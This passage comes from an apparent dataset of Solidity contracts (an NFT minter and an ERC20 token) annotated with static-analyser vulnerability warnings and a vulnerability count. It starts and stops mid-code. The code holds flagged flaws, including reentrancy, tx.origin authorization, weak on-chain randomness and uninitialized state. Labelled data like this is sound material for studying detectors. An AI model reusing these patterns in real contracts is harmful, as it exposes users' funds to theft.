lastDividendAt[_realIndex] = totalDividend;\n\n\t\t// reentrancy-benign | ID: f5ce413\n _safeMint(_target, _realIndex);\n\n\t\t// reentrancy-benign | ID: f5ce413\n minters[_realIndex] = msg.sender;\n\n return _realIndex;\n }\n\n function multipleRegularMintsWithRecipients(\n address[] memory recipients\n ) external onlyOwner {\n for (uint256 i = 0; i < recipients.length; i++) {\n _regularMintWithAddress(recipients[i]);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c7cd816): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c7cd816: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 83a3ad9): WatNFTs.totalDividend is never initialized. It is used in WatNFTs._randomMint(address) WatNFTs._regularMintWithAddress(address) WatNFTs._regularMint()\n\t// Recommendation for 83a3ad9: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _regularMintWithAddress(\n address recipient\n ) internal returns (uint256) {\n uint256 _index = totalSupply();\n\n uint256 _realIndex = getValue(_index) + 1;\n\n lastSupply--;\n\n remainingIds[_index] = getValue(lastSupply);\n\n\t\t// reentrancy-benign | ID: c7cd816\n _safeMint(recipient, _realIndex);\n\n\t\t// reentrancy-benign | ID: c7cd816\n minters[_realIndex] = msg.sender;\n\n\t\t// reentrancy-benign | ID: c7cd816\n lastDividendAt[_realIndex] = totalDividend;\n\n return _realIndex;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: be7b6b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for be7b6b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 83a3ad9): WatNFTs.totalDividend is never initialized. It is used in WatNFTs._randomMint(address) WatNFTs._regularMintWithAddress(address) WatNFTs._regularMint()\n\t// Recommendation for 83a3ad9: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _regularMint() internal returns (uint256) {\n uint256 _index = totalSupply();\n\n uint256 _realIndex = getValue(_index) + 1;\n\n lastSupply--;\n\n remainingIds[_index] = getValue(lastSupply);\n\n\t\t// reentrancy-benign | ID: be7b6b0\n _safeMint(msg.sender, _realIndex);\n\n\t\t// reentrancy-benign | ID: be7b6b0\n minters[_realIndex] = msg.sender;\n\n\t\t// reentrancy-benign | ID: be7b6b0\n lastDividendAt[_realIndex] = totalDividend;\n\n return _realIndex;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f2f149): WatNFTs.getTokenIds(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 7f2f149: Rename the local variables that shadow another component.\n function getTokenIds(\n address _owner\n ) public view returns (uint256[] memory) {\n uint256 ownerTokenCount = balanceOf(_owner);\n\n uint256[] memory tokenIds = new uint256[](ownerTokenCount);\n\n for (uint256 i; i < ownerTokenCount; i++) {\n tokenIds[i] = tokenOfOwnerByIndex(_owner, i);\n }\n\n return tokenIds;\n }\n\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: afb9f5e): WatNFTs.tokenURI(uint256) calls abi.encodePacked() with multiple dynamic arguments string(abi.encodePacked(currentBaseURI,_id.toString(),baseExtension))\n\t// Recommendation for afb9f5e: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function tokenURI(\n uint256 _id\n ) public view virtual override returns (string memory) {\n require(_exists(_id), \"WatNFTs: URI query for nonexistent token\");\n\n string memory currentBaseURI = _baseURI();\n\n\t\t// encode-packed-collision | ID: afb9f5e\n return\n bytes(currentBaseURI).length > 0\n ? string(\n abi.encodePacked(\n currentBaseURI,\n _id.toString(),\n baseExtension\n )\n )\n : \"\";\n }\n\n function handleMintReward(uint256 _amount) private {\n payable(FeeReceiver).transfer(_amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c2f8bfc): WatNFTs.getValue(uint256) uses timestamp for comparisons Dangerous comparisons remainingIds[_index] != 0\n\t// Recommendation for c2f8bfc: Avoid relying on 'block.timestamp'.\n function getValue(uint256 _index) internal view returns (uint256) {\n\t\t// timestamp | ID: c2f8bfc\n if (remainingIds[_index] != 0) return remainingIds[_index];\n else return _index;\n }\n\n function _getRandom() internal view returns (uint256) {\n return\n uint256(\n keccak256(\n abi.encodePacked(\n block.prevrandao,\n block.timestamp,\n lastSupply\n )\n )\n );\n }\n}\n",
"file_name": "solidity_code_10599.sol",
"size_bytes": 42237,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 5c0623d\n\t\t\t// reentrancy-eth | ID: 3f8a512\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-eth | ID: 5c0623d\n\t\t\t// reentrancy-eth | ID: 3f8a512\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: 69da47e\n\t\t// reentrancy-events | ID: 4de37a5\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address public _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n authorizations[_owner] = true;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n mapping(address => bool) internal authorizations;\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\ncontract LCX2334 is ERC20, Ownable {\n bool public transferDelayMode = true;\n\n bool public dynamicTaxActive;\n\n bool public antiMevGuard = true;\n\n bool public tradingFlag;\n\n bool public limitsTradingEnabled = true;\n\n mapping(address => bool) public botFlags;\n\n mapping(address => bool) public feesExempt;\n\n mapping(address => uint256) private blockTransferTime;\n\n mapping(address => bool) public limitException;\n\n mapping(address => bool) public marketMakerPairs;\n\n address public treasuryVault;\n\n address public immutable pairLiquidity;\n\n address public immutable wethTokenWrapped;\n\n uint64 public constant FEE_BASE = 10000;\n\n uint256 public blockInitial;\n\n uint256 public swapCap;\n\n IUniswapV2Router02 public immutable exchangeRouter;\n\n event TransactionMaxModify(uint256 maximumNew);\n\n event WalletMaxUpdate(uint256 maximumNew);\n\n event UpdateBuyTax(uint256 thresholdAmount);\n\n event SetFeeExemptStatus(address addrAccount, bool feeExemptStatus);\n\n event SetExemptLimit(address addrAccount, bool feeExemptStatus);\n\n event SellTaxUpdate(uint256 thresholdAmount);\n\n event EliminatedLimits();\n\n struct TaxSetup {\n uint64 overallTax;\n }\n\n struct TokenTaxSpec {\n uint80 treasuryTokenStorage;\n bool efficientGas;\n }\n\n struct TransferLimits {\n uint128 txMax;\n uint128 walletLimit;\n }\n\n TransferLimits public txConstraints;\n\n TokenTaxSpec public taxTokenBook;\n\n TaxSetup public buyTaxSpec;\n\n TaxSetup public sellTaxDetails;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 839d4d7): LCX2334.constructor().walletOwner lacks a zerocheck on \t treasuryVault = walletOwner\n\t// Recommendation for 839d4d7: Check that the address is not zero.\n constructor() ERC20(\"LCX2334\", \"LCX\") {\n address walletOwner = msg.sender;\n\n uint256 amountTotalTokens = 1000000 * 1e18;\n\n uint256 liquidityAmountSupply = (amountTotalTokens * 88) / 100;\n\n uint256 supplyAmountRemaining = amountTotalTokens -\n liquidityAmountSupply;\n\n _mint(address(this), liquidityAmountSupply);\n\n _mint(walletOwner, supplyAmountRemaining);\n\n address cryptoRouterAddress = address(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dynamicTaxActive = true;\n\n exchangeRouter = IUniswapV2Router02(cryptoRouterAddress);\n\n txConstraints.txMax = uint128((totalSupply() * 100) / 10000);\n\n txConstraints.walletLimit = uint128((totalSupply() * 100) / 10000);\n\n swapCap = (totalSupply() * 25) / 100000;\n\n\t\t// missing-zero-check | ID: 839d4d7\n treasuryVault = walletOwner;\n\n buyTaxSpec.overallTax = 0;\n\n sellTaxDetails.overallTax = 0;\n\n taxTokenBook.efficientGas = true;\n\n wethTokenWrapped = exchangeRouter.WETH();\n\n pairLiquidity = IUniswapV2Factory(exchangeRouter.factory()).createPair(\n address(this),\n wethTokenWrapped\n );\n\n marketMakerPairs[pairLiquidity] = true;\n\n limitException[pairLiquidity] = true;\n\n limitException[owner()] = true;\n\n limitException[walletOwner] = true;\n\n limitException[address(this)] = true;\n\n feesExempt[owner()] = true;\n\n feesExempt[walletOwner] = true;\n\n feesExempt[address(this)] = true;\n\n feesExempt[address(exchangeRouter)] = true;\n\n _approve(address(this), address(exchangeRouter), type(uint256).max);\n\n _approve(address(owner()), address(exchangeRouter), totalSupply());\n }\n\n function flagInternalBots(\n address addrAccount,\n bool statusValue\n ) internal virtual {\n botFlags[addrAccount] = statusValue;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: a8d0b30): LCX2334.calibrateTaxAndLimits(uint64,uint128).taxSettings is a local variable never initialized\n\t// Recommendation for a8d0b30: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 71e4219): LCX2334.calibrateTaxAndLimits(uint64,uint128).currentLimits is a local variable never initialized\n\t// Recommendation for 71e4219: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function calibrateTaxAndLimits(\n uint64 newTotalTax,\n uint128 updatedLimitPercent\n ) internal {\n TaxSetup memory taxSettings;\n\n taxSettings.overallTax = newTotalTax;\n\t\t// reentrancy-benign | ID: dd602ca\n\n sellTaxDetails = taxSettings;\n\t\t// reentrancy-benign | ID: dd602ca\n\n buyTaxSpec = taxSettings;\n\n if (updatedLimitPercent > 0) {\n TransferLimits memory currentLimits;\n\n uint128 limitSetting = uint128(\n (totalSupply() * updatedLimitPercent) / 10000\n );\n\n currentLimits.txMax = limitSetting;\n\n currentLimits.walletLimit = limitSetting;\n\n\t\t\t// reentrancy-benign | ID: dd602ca\n txConstraints = currentLimits;\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: b1f5179): LCX2334.limitsRemove().localTransactionLimits is a local variable never initialized\n\t// Recommendation for b1f5179: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function limitsRemove() external onlyOwner {\n limitsTradingEnabled = false;\n\n TransferLimits memory localTransactionLimits;\n\n uint256 tokensSupply = totalSupply();\n\n localTransactionLimits.txMax = uint128(tokensSupply);\n\n localTransactionLimits.walletLimit = uint128(tokensSupply);\n\n txConstraints = localTransactionLimits;\n\n emit EliminatedLimits();\n }\n\n function modifyTreasury(address treasuryAddress) external onlyOwner {\n require(treasuryAddress != address(0), \"Zero address\");\n\n treasuryVault = treasuryAddress;\n }\n\n function antiMevProtectionModify(\n bool mevProtectionEnabled\n ) external onlyOwner {\n antiMevGuard = mevProtectionEnabled;\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 84d066a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 84d066a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: aa02d31): LCX2334.swapTokensTax() sends eth to arbitrary user Dangerous calls (successStatus,None) = treasuryVault.call{value etherBalance}()\n\t// Recommendation for aa02d31: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapTokensTax() private {\n uint256 contractBalance = balanceOf(address(this));\n\n TokenTaxSpec memory currentTaxTokens = taxTokenBook;\n\n uint256 totalTokensToSwap = currentTaxTokens.treasuryTokenStorage;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapCap * 20) {\n contractBalance = swapCap * 20;\n }\n\n if (contractBalance > 0) {\n\t\t\t// reentrancy-eth | ID: 84d066a\n ethConversionTokens(contractBalance);\n\n uint256 etherBalance = address(this).balance;\n\n bool successStatus;\n\n etherBalance = address(this).balance;\n\n if (etherBalance > 0) {\n\t\t\t\t// reentrancy-events | ID: 69da47e\n\t\t\t\t// reentrancy-events | ID: 4de37a5\n\t\t\t\t// reentrancy-benign | ID: dd602ca\n\t\t\t\t// reentrancy-benign | ID: 7ddaf82\n\t\t\t\t// reentrancy-eth | ID: 5c0623d\n\t\t\t\t// reentrancy-eth | ID: 3f8a512\n\t\t\t\t// reentrancy-eth | ID: 84d066a\n\t\t\t\t// arbitrary-send-eth | ID: aa02d31\n (successStatus, ) = treasuryVault.call{value: etherBalance}(\"\");\n }\n }\n\n currentTaxTokens.treasuryTokenStorage = 0;\n\n\t\t// reentrancy-eth | ID: 84d066a\n taxTokenBook = currentTaxTokens;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 80fb700): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 80fb700: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2035642): LCX2334.commenceOperation() ignores return value by exchangeRouter.addLiquidityETH{value etherBalance}(address(this),liquidityAmountSupply,0,0,owner(),block.timestamp)\n\t// Recommendation for 2035642: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5113c36): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5113c36: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function commenceOperation() external payable onlyOwner {\n require(!tradingFlag, \"Trading already enabled\");\n\n uint256 liquidityAmountSupply = balanceOf(address(this));\n\n require(liquidityAmountSupply > 0, \"No tokens for liquidity\");\n\n uint256 etherBalance = msg.value;\n\n require(etherBalance > 0, \"No ETH for liquidity\");\n\n approve(address(exchangeRouter), liquidityAmountSupply);\n\n\t\t// reentrancy-benign | ID: 80fb700\n\t\t// unused-return | ID: 2035642\n\t\t// reentrancy-eth | ID: 5113c36\n exchangeRouter.addLiquidityETH{value: etherBalance}(\n address(this),\n liquidityAmountSupply,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: 5113c36\n tradingFlag = true;\n\n\t\t// reentrancy-benign | ID: 80fb700\n blockInitial = block.number;\n }\n\n function airdropTokenDistribution(\n address[] calldata tokenRecipients,\n uint256[] calldata valuesInWei\n ) external onlyOwner {\n require(\n tokenRecipients.length == valuesInWei.length,\n \"arrays length mismatch\"\n );\n\n for (uint256 i = 0; i < tokenRecipients.length; i++) {\n super._transfer(msg.sender, tokenRecipients[i], valuesInWei[i]);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4de37a5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4de37a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7ddaf82): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7ddaf82: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: b3d1f6c): LCX2334._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(tx.origin == originator || tx.origin == _msgSender() || ! botFlags[tx.origin],bot detected)\n\t// Recommendation for b3d1f6c: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3f8a512): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3f8a512: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address originator,\n address to,\n uint256 totalAmount\n ) internal virtual override {\n require(!botFlags[originator], \"bot detected\");\n\n require(\n _msgSender() == originator || !botFlags[_msgSender()],\n \"bot detected\"\n );\n\n\t\t// tx-origin | ID: b3d1f6c\n require(\n tx.origin == originator ||\n tx.origin == _msgSender() ||\n !botFlags[tx.origin],\n \"bot detected\"\n );\n\n if (!feesExempt[originator] && !feesExempt[to]) {\n require(tradingFlag, \"Trading not active\");\n\n\t\t\t// reentrancy-events | ID: 4de37a5\n\t\t\t// reentrancy-benign | ID: 7ddaf82\n\t\t\t// reentrancy-eth | ID: 3f8a512\n totalAmount -= taxApplication(originator, to, totalAmount);\n\n\t\t\t// reentrancy-benign | ID: 7ddaf82\n verifyLimits(originator, to, totalAmount);\n }\n\n\t\t// reentrancy-events | ID: 4de37a5\n\t\t// reentrancy-eth | ID: 3f8a512\n super._transfer(originator, to, totalAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 69da47e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 69da47e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dd602ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dd602ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5c0623d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5c0623d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 7678ded): LCX2334.taxApplication(address,address,uint256).currentTaxSettings is a local variable never initialized\n\t// Recommendation for 7678ded: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function taxApplication(\n address originator,\n address to,\n uint256 totalAmount\n ) internal returns (uint256) {\n if (\n balanceOf(address(this)) >= swapCap && !marketMakerPairs[originator]\n\t\t\t// reentrancy-events | ID: 69da47e\n\t\t\t// reentrancy-benign | ID: dd602ca\n\t\t\t// reentrancy-eth | ID: 5c0623d\n ) {\n swapTokensTax();\n }\n\n\t\t\t// reentrancy-benign | ID: dd602ca\n if (dynamicTaxActive) {\n 